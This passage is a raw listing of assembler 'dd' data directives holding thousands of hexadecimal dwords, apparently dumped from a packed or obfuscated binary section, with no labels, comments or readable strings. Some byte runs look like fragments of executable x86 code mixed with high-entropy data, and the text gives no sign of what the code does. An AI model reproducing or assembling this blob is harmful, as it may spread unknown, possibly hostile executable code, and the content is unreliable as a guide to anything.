53A34513h dd 0A43A45D9h, 1301121Eh, 725A941Ah, 2FC7D048h, 0D34A745Ah dd 4DA92BC6h, 9737EFBAh, 0D4D8C309h, 0C231B70Bh, 2EC5D24Eh dd 0E2E7CD3Eh, 0DCD2F8A6h, 20C61C2Ch, 9E7641D4h, 0A24A702Eh dd 983E1500h, 15928A34h, 82717F1Ah, 0DB23B4D0h, 0AE4C06Fh dd 2E1E0DEAh, 0F10BC39Bh, 366C6079h, 1C36418Ch, 0EA8E6688h dd 0A080EB4h, 0DE40A15h, 362A879Bh, 378747A9h, 90BEED5Fh dd 10ED094Bh, 28CBD448h, 48C9EA98h, 0DEC61717h, 9D03C9F9h dd 423AD53Eh, 0BB2438B2h, 95021EE2h, 6572EA5Eh, 472D9E8Eh dd 7E1FB8B4h, 0A83D36C8h, 43C52CB5h, 2A046ADh, 0E6A65EB8h dd 30C42AACh, 0BE35A2BEh, 12D4h, 958E3000h, 974DF100h dd 0E6A65E2Dh, 8D698729h, 47844FE6h, 0CF41B015h, 39AB4653h dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h dd 4DBF32AFh, 5D2AC9D0h, 5E08950h, 4, 42Dh, 24048700h dd 2434895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 0E68243Ch, 89000066h, 5653240Ch, 0C547FB68h, 814E5E1Ch dd 0C66C16EEh, 95CE813Dh, 8113D754h, 0C395E8EEh, 5EF389D6h dd 815BDF89h, 4ECh, 24248900h, 4240483h, 8B85059h, 1000000h dd 0FE8956C8h, 585E3089h, 592434FFh, 4C481h, 3C8B0000h dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 0F92F4FE9h dd 0E4345EFFh, 602ADE16h, 4EF2B823h, 0C503093Ch, 83C0E0FFh dd 0A3DA7971h, 0F97E338Ah, 0FFC4125h, 268B3928h, 718B2845h dd 72883EFEh, 0EA3B7F80h, 0BFB50EC1h, 4EB6EFDh, 7EB42C71h dd 540E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h dd 0D37526B3h, 0F2DFE5FBh, 0CADB12F9h, 0AE2B4709h, 4158D143h dd 0E1FC738Dh, 0ACC03815h, 0D04CC033h, 0D6FA8B99h, 0CF2134A8h dd 24BDB024h, 0FF568CDh, 0F4BD724Ah, 88F3FB14h, 337EF26Ch dd 4A05F2CEh, 48559B99h, 0CD019E90h, 3BD9E301h, 0DBCD1C36h dd 15975A47h, 7ADF3DBh, 31C363Ch, 0BC4419DDh, 4ABE35A2h dd 0B6FCA2D1h, 0B21C363Bh, 0BD2FC22Ch, 14BA39A0h, 363BE4CEh dd 40BEE01Ch, 0DD44AF28h, 0B3D19480h, 0E9877262h, 3529AFECh dd 10B745ACh, 151C363Ch, 123B1C08h, 55895000h, 67h, 77EB1536h dd 0F105876Ah, 6A06E37Fh, 0BE02866Dh, 0B83FC8ECh, 24CF2182h dd 35E53094h, 3D91351Ch, 35E51DA7h, 0BEDB551Ch, 8D13B133h dd 2F281C69h, 895055DEh, 189h, 2A474A00h, 0CA5F1FAFh, 62672151h dd 43B53CB8h, 9A40B32Eh, 116B2E2h, 0EB8079EFh, 7AF400EEh dd 97FEF5E2h, 0B6AB5E46h, 72EE722Bh, 47933865h, 38A5BB2Eh dd 54C93BB6h, 8E36A64Dh, 0DE4F56Ch, 2E166B8Bh, 0C6D7C25Bh dd 29CFA0E0h, 44A7D31Eh, 0B5223EB0h, 5855CA3Eh, 9719D8C1h dd 8B197559h, 1C35DA41h, 2E0FB335h, 5ED95DB4h, 5637B63Eh dd 0B9E4E5CFh, 0CE895083h, 0B9h, 0AB2E47FDh, 418A248h dd 0C72AB7ABh, 0D14BAB45h, 376D215Eh, 1C36418Dh, 377D6789h dd 331C3641h, 338B43ADh, 0DB734520h, 7F586828h, 574DDE03h dd 31A32ACAh, 0DC50A33Eh, 0CECB6445h, 72E3D120h, 0B726E782h dd 0B6233ACDh, 0DFFA73E5h, 0D54C6E14h, 0B9263AC4h, 0CC3EB63Ah dd 0A63B1554h, 0FE8C995Eh, 948F01F0h dd 6E801911h, 841D1183h, 260E7F6Dh, 4C804E43h, 362A2C96h dd 7886281Ch, 0A6FBFBE4h, 16809DBEh, 0B20A8950h, 20EC1AA5h dd 0BA6195EEh, 4Fh, 0AB2E4719h, 318A248h, 1DD95B96h, 0B0EE8DA3h dd 1C36420Ah, 0DB16D8FEh, 39CCB845h, 0EB15B920h, 0B98E6673h dd 0AF2A471Ah, 4211B444h, 2C431C36h, 55CE42B1h, 0D94CB140h dd 32C310EBh, 0E07B8542h, 7A7AFEF5h, 4FF97BD2h, 1EC89h dd 479B0000h, 0D246AD28h, 3B811F5Eh, 2F1C3641h, 0BCAC47A9h dd 9D92654Fh, 3C32CC00h, 24D0549Fh, 752D7847h, 639C4B59h dd 3E601503h, 25BB0FB3h, 13011B9Fh, 0B43F5AD7h, 0E80C9230h dd 73EDFA76h, 0E7098B66h, 0B12E42B6h, 1C0AB242h, 91A1301h dd 0E3FC701Bh, 71EA14BAh, 18DBFC74h, 209A5A94h, 0EC60930Ch dd 0D9FC7770h, 7458961Ah, 10F9B50Ch, 0C135E8C8h, 9381D242h dd 326B74E8h, 85B04D80h, 11F1A92h, 2E790000h, 0D50BC39Bh dd 15035F4Eh, 5BCD24CAh, 3FC1DAC7h, 0C93BB623h, 13BC1E55h dd 0FF0C7AEFh, 419202F1h, 2BB4A853h, 9C0519A3h, 0F3CB8358h dd 47309DE5h, 0A040B489h, 92850F6Dh, 726F03FDh, 52F9FD7Fh dd 36h, 0D7872E81h, 36BA395Ch, 14CE14B8h, 901C3642h, 6F55E30Eh dd 861C3641h, 2A9B59Fh, 9E548A42h, 1A1C3641h, 4E943894h dd 1C364164h, 0E1B63E60h, 0A4A9h, 9B2EEA00h, 72D50BC3h dd 66150369h, 0C10DB140h, 1169923h, 4950C913h, 0F81757Bh dd 63158613h, 0FAD2CFh, 0EEEB846Dh, 876F8103h, 17277808h dd 12091301h, 65F86C87h, 92C5757Ch, 56ECE5FEh, 0AA9A0B79h dd 4F00DCFh, 6F558B3Fh, 691300FAh, 0A5357D0Ah, 0FEA022C3h dd 0DB9798C2h, 7C78881Bh, 0EC816E02h, 856B6E05h, 9704EA6Eh dd 0A925FDC8h, 0D4C667FBh, 81990F0Bh, 9957D918h, 4D4AE65Ah dd 0F1E47F81h, 3D8E7E05h, 70388B57h, 9014DFF8h, 20306E5Eh dd 0D4150105h, 10CEFAD2h, 1300FAAAh, 1FFCF89Eh, 2BB9152Ch dd 1C3641A1h, 50E31395h, 8D418D45h, 0C3499435h, 0B6AD4344h dd 9B29CD23h, 1509F1C7h, 56CA29AFh, 13A38FDAh, 0D7AA78EAh dd 0F9C903C9h, 0FFF1F712h, 3834ACF1h, 41C4549Fh, 0F36281C2h dd 1D8F627Fh, 0C65E9504h, 5FAC4F35h, 513116FEh, 32985639h dd 2BB6AB14h, 4AAA44C8h, 5A435CD0h, 0E60D8AA6h, 16DDFA72h dd 0E1108DA2h, 0CE7F26Fh, 0D81B8498h, 7E66B754h, 0A89C097Bh dd 435841DDh, 0B938A1BDh, 3D1h, 844F0200h, 41B01547h, 0AB4653CFh dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h dd 0BF32AFC0h, 2AC9D04Dh, 4EC835Dh, 89243C89h, 4C781E7h dd 83000000h, 3C8704EFh, 89575C24h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 240C895Ch, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 0B850243Ch, 629D1403h, 9F3BC468h dd 0C10159A6h, 6EB36858h, 24890000h, 24048124h, 4, 4EC815Fh dd 89000000h, 478F240Ch, 2434FF08h, 4C4835Fh, 56240C8Bh dd 0C681E689h, 4, 4C681h, 34870000h, 0D5E95C24h, 63FFF929h dd 0DDB4EC57h, 5473B843h, 0C503093Ch, 1096E0FFh, 4E751864h dd 2D5555C4h, 9E865E50h, 52590B8Fh, 26825C7Bh, 0B0CF209Eh dd 0A2E41770h, 8D8D358Dh, 93C55FFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 2AC35242h, 298D89B7h, 0F093516h dd 684h, 1DB58B00h, 0C709351Ch, 35287D85h, 5AF809h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 1A5A3D13h, 8BF15A1Ah, 35230D85h, 5585C709h, 93522h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0BDF4C352h, 1D41BD01h, 0B5FF0935h dd 9351239h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0FBC35646h, 81C05DA2h, 1B2E7FCBh, 595FF12h, 8009350Dh dd 6AA6CEh, 82995FFh, 0C08B0935h, 95359EBh, 1A097F96h dd 0D7772937h, 1EAFD77Eh, 0C58C8394h, 3B3C6822h, 9825F889h dd 7BCC00EAh, 0F9BCAD81h, 3A336AEh, 1E9B985Ch, 261303A8h dd 5F5DDB85h, 413953C5h, 54C4165Ah, 8CC5F8Eh, 0ADBF2B93h dd 36CAEA5Ah, 3F91B27h, 0E96AE032h, 0C25D8436h, 1BC03512h dd 0EBE672F0h, 10A4C904h, 559E91Ah, 7DDF0000h, 0A0BD4358h dd 839C6439h, 5BD38516h, 829B5D3Eh, 0FC8D8617h, 1982170Eh dd 0D4C9CC67h, 1885120Ch, 0CAD3CC60h, 0D2F8A6E6h, 0C612F9EBh dd 2B47B615h, 58D143AEh, 88A45C41h, 0C68D6BE1h, 0E70913A0h dd 1B84980Ch, 0D0C964D8h, 7B69BC21h, 9A039C90h, 0C885CCB4h dd 817065FEh, 580EC3FFh, 0E40F8AA3h, 0F4668E60h, 86405D7Ah dd 0C3FE9836h, 0E5112390h, 9E8F56Bh, 0FAF99C97h, 0AEAB990Ah dd 0F5DD94CEh, 11935E7Bh, 0DB8D62B1h, 128FA11Bh, 3E5BD789h dd 0ECA225B3h, 5ED21C35h, 203EB241h, 0BC32AFC3h, 674DD035h dd 0D6BE4F84h, 504E98F5h, 0E8F6D289h, 1C35F8E2h, 7524D0D6h dd 81h, 26B3AF51h, 2B472FCEh, 0D1789E80h, 3EB58D5Ah, 90D599FEh dd 923AB43Ah, 7FC7442Ah, 569E1A3Dh, 498549D7h, 7B8A1C35h dd 0F17DD089h, 1EA8950h, 0A9000000h, 0A12BB915h, 9F1C3641h dd 3641BB01h, 9B29AF1Ch, 0F26FE115h, 54660CE7h, 0C537BFD8h dd 0EBD10FA8h, 0DF1C3641h, 48BC37B9h, 0B82CC7D0h, 43B53CA5h dd 0DA3FB22Fh, 2DDE998Bh, 0CBFFC4B0h, 3641AF15h, 0F105AB1Ch dd 0A6F7E27Fh, 0FCA13E32h, 0AB2E4757h, 1B869923h, 4DE054DBh dd 872F9D54h, 41179D43h, 8D131C36h, 5D281C69h, 10C8D5C4h dd 7943611Ch, 6D1C3641h, 4EFE1B3Dh, 8D63B9D6h, 31C9063h dd 70E95B96h, 0F6FDE479h, 0D1757C72h, 3598A913h, 5FB9D1Ch dd 0F6E37E6Bh, 1A8BF9F8h, 8C424F2Ah, 14E0FD72h, 9CF0D5BFh dd 3598BC06h, 8A36B81Ch, 6FEB1898h, 9030C468h, 89507B4Dh dd 8A3Ah, 0AA389400h, 1C35D020h, 0BB629214h, 0A12BB915h dd 951C3641h, 4209B3F1h, 0DBFD1C36h, 0F66FE115h, 839C10E3h dd 0F469DB16h, 9B9206EDh, 914FF3FEh, 1C36412Bh, 0C263791Fh dd 0A7F617D2h, 82698BDh, 0A1B6688Bh, 60C8F827h, 0D14BAB45h dd 0A45C4158h, 73E50C8Dh, 3213DEFBh, 0D508C1B3h, 0B28950FCh dd 45h, 0AB2E47E1h, 3D5AD448h, 17FD1EB6h, 0F4AACD64h, 1C3641CEh dd 2CA24CAh, 777A67F8h, 822C01F5h, 0FAF9E678h, 15DF7E76h dd 8A6974EBh, 0E17CEE06h, 646BF9F8h, 691C3641h, 5EAFA89Ch dd 9894FF9h, 1, 0AD2847CAh, 415ED246h, 6351C2B2h, 0B21A8798h dd 0F720CCCAh, 92621AE9h, 999F2AB5h, 53E324BCh, 0AE1ED0EBh dd 4F48E0DAh, 0EBCE19A7h, 2CB21502h, 0CB6ECA0h, 81300E4h dd 1D8F0EE6h, 7D039801h, 6BF9F8E1h, 1300E363h, 0F6FD9897h dd 62FFEC82h, 0F6F87C77h, 0AC9865FBh, 219B13C9h, 0DC60930Eh dd 2ED9CB18h, 80F8A532h, 5A00F3ECh, 22D1CE60h, 48E4569Eh dd 23F7F4Fh, 16A92929h, 757B1816h, 9814B59h, 73751301h dd 3F8CFC83h, 0D14E7055h, 4BAB2DC4h, 0C4165DD1h, 0C26E1748h dd 9E8815DBh, 0A60EB4EAh, 0E40A1300h, 961D7010h, 2B4A9285h dd 84000001h, 0B1309A48h, 82241300h, 0FFF7E07Ch, 0C39B2E60h dd 5F4ED50Bh, 24CA1503h, 999729CDh, 0EA86F8FCh, 3428B0EDh dd 58D448ABh, 2B40B43Fh dd 5AD143AEh, 2FAAC13Fh, 0C0D950C4h, 88D5AF31h, 0BA2BD99Ch dd 0B6233FCAh, 0E8BA416h, 0EC2111E6h, 7B928516h, 31h, 0C7872E4Ch dd 4223D907h, 11971C36h, 416852E2h, 0AA771C36h, 2FFFB6BAh dd 41EB019Fh, 0C5091C36h, 3641951Fh, 0E70F911Ch, 0FCE6B739h dd 0A6h, 0C39B2E4Dh, 5F7AF10Bh, 8AADF397h, 7E150369h, 0D64A7458h dd 4EA62AC9h, 9E912BCFh, 7465FD03h, 85120E80h, 0D3CC6018h dd 302DCFFBh, 16913BA9h, 63851301h, 54660C93h, 0D210BCDDh dd 130116E8h, 0A43ABADCh, 130116F3h, 6D180C19h, 14B3E8F1h dd 5A47D981h, 55AA3894h, 5F0BD4E8h, 2A46BA39h, 5DD246ADh dd 233FB140h, 47B93BB6h, 0D646AD28h, 0A6DC9F85h, 5643DCDEh dd 0AA37299Bh, 0CB2BC547h, 5C98E76h, 2CC4D5DFh, 27CFD11Ch dd 712F099Ch, 1C2CC44Bh, 2CB5A93Fh, 43AD43C5h, 96A4558Bh dd 8E101500h, 9B2E1E0Dh, 24D50BC3h, 90150A14h, 0FD71E30Eh dd 5F98E8E4h, 0A9C0BE49h, 7800DD19h, 87120BE4h, 81FA8A69h dd 0C405DE10h, 94887361h, 52CE920Bh, 1A879923h, 258F55D7h dd 210225EFh, 0E82717Fh, 0B34D8116h, 4BD222BFh, 3F04F05Dh dd 0BF37A2BDh, 0D3C8D14Dh, 6988110Dh, 381h, 844FD200h dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h, 4308h dd 51241C89h, 0C181E189h, 4, 8704E983h, 895C240Ch, 68552434h dd 56AC0B83h, 0C581455Dh, 19660ED7h, 4F23BE56h, 0F5096281h dd 13ED815Eh, 89695709h, 8B545DEBh, 0C4812434h, 4, 242C8153h dd 3A341D5Fh, 8108468Fh, 1D5F0846h, 348B3A34h, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C4815Bh dd 0E9000000h, 0FFF92324h, 0BCE2070h, 0F1F7CC3Ch, 0BC60FDE4h dd 0B8A888A2h, 93C5B23h, 0E0FFC503h, 7B3C12DCh, 682283CEh dd 8D5EC0Fh, 7B410C0Ah, 558EE4F3h, 66F6C4F6h, 4DB54F14h dd 8ADDC29h, 506D2C6h, 510006CDh, 24A347C7h, 75ED94BAh dd 400D6047h, 566C0DA3h, 47032062h, 57DF928Dh, 402AD212h dd 687CE9C6h, 0CACEB20h, 1142DD44h, 181B04EBh, 3DE97BE2h dd 22000005h, 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h dd 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h, 0C95894Fh dd 0AFF5998Fh, 12F9E605h, 47EFD401h, 0D143AE2Bh, 0A45C4158h dd 70E40F88h, 6A10E3FCh, 37BFD850h, 0C231A8C5h, 3D1A0A5Bh dd 41695391h, 39671C36h, 1C364193h, 3D636187h, 0AE2B47B9h dd 15829C1Eh, 0BD9A5ADEh, 14B8253Bh, 876A77EAh, 641CF105h dd 0CD01CDCAh, 3641AD17h, 0EF07A91Ch, 7267FC70h, 5044917Fh dd 8D0E8BA5h, 0A74A57CBh, 3641B619h, 7A6ABB1Ch, 4FFA2C61h dd 583B89h, 478C0000h, 36A3BE2Bh, 23AB39B8h, 2C1C3641h dd 9BF2EBD9h, 0CC894FF9h, 6, 6B6C04F6h, 2A47E48Bh, 356B1FAFh dd 1C36418Fh, 1291658Bh, 3882206Ch, 2C1C3641h, 5DD04AAAh dd 34BADF54h, 0C6D34BBDh, 6D57C62Bh, 811A879Ah, 257663FFh dd 80B34181h, 0D85A7FFEh, 2E47751Ch, 0D0CDA7Dh, 806EA709h dd 0E301CD71h, 1C3549D9h, 0B12BCBCDh, 5ECE25BCh, 0FD7407EDh dd 2539BFDCh, 0ACC335BCh, 86DFC231h, 0F7A0BD9Eh, 7CE78950h dd 0A8000000h, 6772EB15h, 95041D8Fh, 6875EA5Eh, 507A2864h dd 801C3641h, 0C8CEF4EDh, 0DD40A52Ch, 6C6D04F7h, 29B0A92Fh dd 11BBE9A5h, 51C3642h, 0E68C13E3h, 0FDA69C96h, 114A7663h dd 0E4569E6Eh, 0C5A84B4Ch, 20B9B909h, 50AFDBE8h, 64654FA4h dd 8950B239h, 7E4Eh, 2E477D00h, 0B937A2BBh, 3BA8C63Ah dd 94598720h, 0CE2A55A4h, 0CCF6AC20h, 0C81C35DCh, 9329C826h dd 7EF78272h, 1591425Bh, 8D6974EBh, 9E931E13h, 41F9C3E1h dd 0EBED1C36h, 846AEE05h, 41D8DF6Dh, 10081C36h, 41753F65h dd 6F711C36h, 66FE7281h, 0FDF4ED81h, 8E7E757Bh, 2C72573Dh dd 1C364186h, 41925C82h, 0CF19255Dh, 0E211869Eh, 9509625Eh dd 23115E96h, 5086E32Ah, 18489h, 47430000h, 0D246AD28h dd 0C2B2415Eh, 54666351h, 0C739BDDAh, 0B6702DA8h, 90076906h dd 0FBFBB282h, 49855D68h, 0D6E57B85h, 355102C8h, 0FEF0F61Ch dd 727D68F6h, 5D831502h, 0E49CF096h, 0FEBE1B77h, 43895B8Eh dd 371300FEh, 3D871DB1h, 391300FEh, 51CD3FB7h, 918D5348h dd 735BE908h, 831300FEh, 0ABC7B2A2h, 1C9E2Eh, 0FE852F75h dd 5F811300h, 0D0886591h, 3F8B435Ch, 0FE1BA1h, 0A75D0D13h dd 902623ACh, 0C948AC32h, 33BEDB57h, 996C58C5h, 0EB01C85h dd 0EE728116h, 59FAC0DEh, 0E8EE1300h, 527B2F0Ch, 189285E2h dd 65842E74h, 5E801300h, 14FEF96h, 2EA00000h, 0D50BC39Bh dd 15035F4Eh, 29CD24CAh, 0DCFD259h, 46B8F83Fh, 0C246AD2Ah dd 3BA4B832h, 15829E62h, 0E9F66ADEh, 5B499A0Ah, 99D83E7Eh dd 0E1A76013h, 1A879B15h, 8C1508B2h, 6E9F9368h, 0F9928530h dd 6Eh, 0A7AD15DAh, 0D15CE29Eh, 0FA631C5h, 833B8F3Fh, 0D50B86B4h dd 1C35E8EFh, 86FDC5EBh, 59E70F92h, 1C3630A3h, 0D2629117h dd 1C3630E8h, 0B4A90618h, 0AC42C62Dh, 435ED345h, 0E8DC49B0h dd 4133D20Dh, 0C393C84h, 1132B66Ch, 1C16C3Ch, 0C72FA0AEh dd 19B5753Ch, 3613718Bh, 202F8F1Ch, 0F9486BF7h, 21974DA9h dd 425B950Ch, 9C48h, 0EB158900h, 85996772h, 0A353D51Ch dd 41DD8510h, 0A8369658h, 150368A5h, 0BA5BDDA5h, 3057C78Eh dd 0B24156CEh, 9618C62Eh, 3E75E95Bh, 0D6D85591h, 0AA2F4746h dd 6FF1AA44h, 7D0BE6F3h, 13013A0Ch, 46312300h, 414A7F2Ah dd 651DF8A1h, 0A21C128Bh, 63E50C89h, 0DDB50093h, 1A01B3F1h dd 0FDFF0BD5h, 0C67C7861h, 552DD120h, 4B3B21DCh, 0B22CC899h dd 0E2D221BEh, 0D4DF8371h, 322ED0FCh, 0E4AEB977h, 21CF3456h dd 2A64ED2h, 42CEDCh, 0B896EA15h, 93B0E36Fh, 0E8DEBF31h dd 0B83C59D6h, 0C39B2E19h, 1DE7D50Bh, 0CDD3150Ah, 7461FF01h dd 74FBFB7Dh, 5B736C00h, 0E54B712Fh, 993F12F9h, 64F8805Dh dd 0E70A978Bh, 17829B65h, 188A1AD9h, 1865ABDFh, 0A5696D04h dd 82EF19A0h, 1D13856Ch, 4ADB7180h, 0EF6E9F5Ah, 0E1FE7205h dd 0AF2844BCh, 1D58D044h, 54123D87h, 39B739A0h, 6B59CABAh dd 8A138CA0h, 851B5AD6h, 0A054123Fh, 0B83BB53Bh, 3CEh dd 844FFF00h, 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h, 81E685Ch dd 3C890000h, 4F5F6824h, 14890000h, 0C4BD5524h, 0BF5B8D28h dd 52B174E1h, 2C8BEF31h, 4C48324h, 8904EC83h, 4812424h dd 424h, 81575A00h, 62E2434h, 428F0EE8h, 8BB5308h, 1000000h dd 2E3381D3h, 5B0EE806h, 5124148Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 0F91D83E9h, 5360BAFFh, 8C95032Ah, 6EF63DD7h dd 3C3CDB9Eh, 3C60C7B8h, 0FFC50309h, 0D80978E0h, 3E69C82Fh dd 0E08991Eh, 6221454Fh, 7413FB58h, 1C642E54h, 14F2F136h dd 8591FD3Dh, 0D0BBAB18h, 28DD8754h, 0B6FD9377h, 0B90A1825h dd 3267E649h, 0A72594Ah dd 0B786224Fh, 236B3449h, 947D284Dh, 7EC6773Dh, 89320C03h dd 9632EF31h, 74B41236h, 0EB4F6073h, 6F227B0Ch, 9DFF3575h dd 0DA07BF2Ch, 6761773Ch, 0B7231D73h, 0F39AEA39h, 6464D323h dd 0BD77A55Bh, 57BBB37Ch, 4304EB66h, 0E967AC37h, 54Ah dd 0D9C2E755h, 0E8F0A27h, 0D3C8D54Ah, 1784150Dh, 0CCD1C861h dd 59D0BACFh, 8EA55B40h, 50CE920Bh, 8AA65A43h, 0F498900Dh dd 0F9E104AEh, 0F0D30012h, 43AE2B47h, 0D889DF9Fh, 1ADDC9E4h dd 0D0C960DAh, 801915CBh, 5463FF71h, 3590248Eh, 707E201Ch dd 45A4245Ch, 0C8633BD3h, 0C101A52Ch, 0B1AE4741h, 774BCD24h dd 0EEB49575h, 1C3548C4h, 24D01EC0h, 0C72AB7AAh, 1912AC62h dd 0F003948Ch, 1D72826Ch, 0AF284437h, 0E7F46AEEh, 0AF2C42B6h dd 41C9E44h, 18DC6093h, 0E9088DA6h, 9DBAAAFBh, 4909B3F1h dd 25391C35h, 14E006BCh, 8617849Ah, 92071EA0h, 0A719DD5Fh dd 92071E8Bh, 6574ED5Fh, 0AE40A8Eh, 0B72038C2h, 8D30C03Fh dd 941C3548h, 93BA9381h, 0D48950F2h, 83h, 0AE2B47B3h, 4211B543h dd 7161C36h, 0FA113C1Dh, 156894Fh, 35000000h, 44AF2A47h dd 93165DD0h, 0FA8EC683h, 781ED51Bh, 1739E848h, 1FC55C62h dd 1C35CF95h, 0E1E10F91h, 0D6814F2Eh, 3DAF4748h, 0D83DB425h dd 0EBA9F85h, 2B9E24BAh, 149A1C36h, 362BE4CEh, 36BEE01Ch dd 6B30A9C4h, 0DDF4FBC3h, 813EF82Fh, 1F5E07Fh, 0BEE4938Fh dd 1C35DDF4h, 0CC00EEF0h, 4FA23F32h, 0B349789Fh, 6E806F03h dd 4702B186h, 5B23AB2Eh, 0BCD42191h, 15531B08h, 1EC500C0h dd 0ED5FDE16h, 33994770h, 271C3641h, 0F4E17F81h, 7E757BFDh dd 24D7BD0Eh, 8E346A0Dh, 8A1C3641h, 17DAFF74h, 8955B95h dd 30C3DC50h, 0BB36A3BCh, 29C8D149h, 0D61DB8B7h, 0EC8F75E6h dd 795242A3h, 89500024h, 0C263h, 2E472400h, 396723ABh dd 1C364193h, 0C62DA8C3h, 965E8042h, 0F8AA517h, 7078FFBFh dd 0F004B1B3h, 363308B2h, 14DAFC1Ch, 0A9FC61E0h, 4059D0BBh dd 0B94D348Ch, 0D1FA5C88h, 99904825h, 5DF4CC00h, 5407B851h dd 7FF17084h, 0F920C4E7h, 0AA543157h, 47C928B5h, 0BA8319A9h dd 0B1B528DEh, 54D1B43Fh, 0AA366760h, 0AA548950h, 4BCD24B1h dd 0DB1BBEB5h, 6F2Ch, 0CF645600h, 9A3F34CAh, 8221D557h dd 0A12BB915h, 951C3641h, 0F069E313h, 47DBE5E9h, 0A1139A5Ah dd 0EBA128Fh, 3641EAD0h, 10BAE81Ch, 41C3642h, 36BEE0E2h dd 100421B7h, 1CDCC65h, 0D9E301CDh, 0CD1C3641h, 41B319CBh dd 1A71C36h, 473318F5h, 0B444AF2Ah, 1C364211h, 0C4DAAE18h dd 1C3641FEh, 0B300F4FAh, 0F9C508C1h, 1A2894Fh, 0F1000000h dd 46AD2847h, 0DC515ED2h, 44AA2EC5h, 664EBFADh, 4D772D61h dd 491C3641h, 41555F85h, 4F511C36h, 44DB55A1h, 10A34459h dd 0F66A9438h, 43610DE9h, 15036394h, 36864668h, 8200B3D9h dd 941BDB6Bh, 0A930C20h, 36BDDA56h, 0C91EA6h, 0E7CD2E13h dd 1E7F1814h, 1AD9C65Ah, 0E60D8AA6h, 4C3F2576h, 0F4D6C7D0h dd 92857199h, 138CEh, 9B2EFD00h, 0B1405DD3h, 1168932Fh dd 86702DABh, 251C6468h, 6C568CE2h, 681C3554h, 69BD7A46h dd 0A836E212h, 15027481h, 0F2E77F81h, 0A74A4C02h, 0FBA03935h dd 1F0E985h, 0EB06938Fh, 5124107Dh, 0EFD7C4DDh, 0AC4851CDh dd 85F0C904h, 639E92h, 2EED0000h, 0C307C787h, 3AB92039h dd 3AB03EB6h, 0AE1C3642h, 0BAE8A428h, 1C364210h, 5F7CF204h dd 4EDE6591h, 1C364164h, 0DD14859Ch, 7EAF76Bh, 1DD8CC19h dd 7CF20CC2h, 0E410945Fh, 0F2B9A58Fh, 0EE049A32h, 141C3641h dd 0FB7673EAh, 5F9113DEh, 2EE41094h, 8EF7F3A8h, 53000000h dd 0BB0B886Bh, 39BDAC54h, 0C39B2E9Ah, 6972D50Bh, 40661503h dd 0B6233FB1h, 0E2FF73E5h, 0EC4292EAh, 0AE4550CFh, 6106962Ah dd 5CEC7383h, 1300512Bh, 0A55044E1h, 0AB0EE89h, 3A130051h dd 0E40AB825h, 239D910Ah, 17829D08h, 5E9658DCh, 0C408C0D3h dd 0D4327F1Eh, 5B73750Bh, 2DBB0623h, 0DC18489Fh, 524FE355h dd 0F64F427Ah, 0DE3C81A2h, 3CA99716h, 1711A448h, 2CEE4389h dd 0F91351Ch, 7EAF2DC8h, 804CA244h, 0C04362h, 6637B915h dd 0C39B2EC5h, 23DAD50Bh, 983E150Ah, 4E4BE759h, 0A978B4Dh dd 0B09559E7h, 0AEC56969h, 39B7223Bh, 0E4CE14BAh, 0E0B48A10h dd 0B42D40BEh, 4B56CB3Dh, 0DBF8EC39h, 8A10FFC5h, 0FBF5FBB4h dd 0ACC23C12h, 0B440C42Fh, 0EE82755Fh, 3834ACF1h, 48E0549Fh dd 1ED5C05Fh, 0C729B6AAh, 89DACA29h, 417CF09Bh, 8A1019A3h dd 658B0DB4h, 33ACC038h, 3D6C0h, 4F370000h, 0B0154784h dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 26685D2Ah, 8900004Fh dd 0BE562424h, 4, 4247401h, 66C6685Eh, 3C890000h, 2506824h dd 34890000h, 7FA7BF24h, 0C14F25D4h, 554708EFh, 19B572BDh dd 5DEF3109h, 8904EC83h, 4812424h, 424h, 0BB535E00h, 8 dd 4E68C381h, 0F3011C69h, 4E68EB81h, 3B891C69h, 2434FF5Bh dd 4C4835Eh, 5F2434FFh, 0E904C483h, 0FFF917A0h, 988E779Ah dd 0C8B88F0Dh, 3093C66h, 0CDE0FFC5h, 4B6A80B2h, 923DCDCBh dd 736188A8h, 0C84E21DCh, 0A3C357Ah, 2652C79Bh, 8D482A31h dd 3C68308Dh, 0A9B58909h, 89093530h, 3516298Dh, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0F6B8A5B6h, 6F2FC5B3h, 9509808Eh, 935255Dh, 287D85C7h dd 61A80935h, 958B0000h, 9350D91h, 225585C7h, 935h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0D440FC3h, 0D15B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF70FC3h, 385h, 88CF8000h dd 0D0595FFh, 870F0935h, 1Bh, 0FE8h, 37EBBE00h, 386FC910h dd 34AA450Eh, 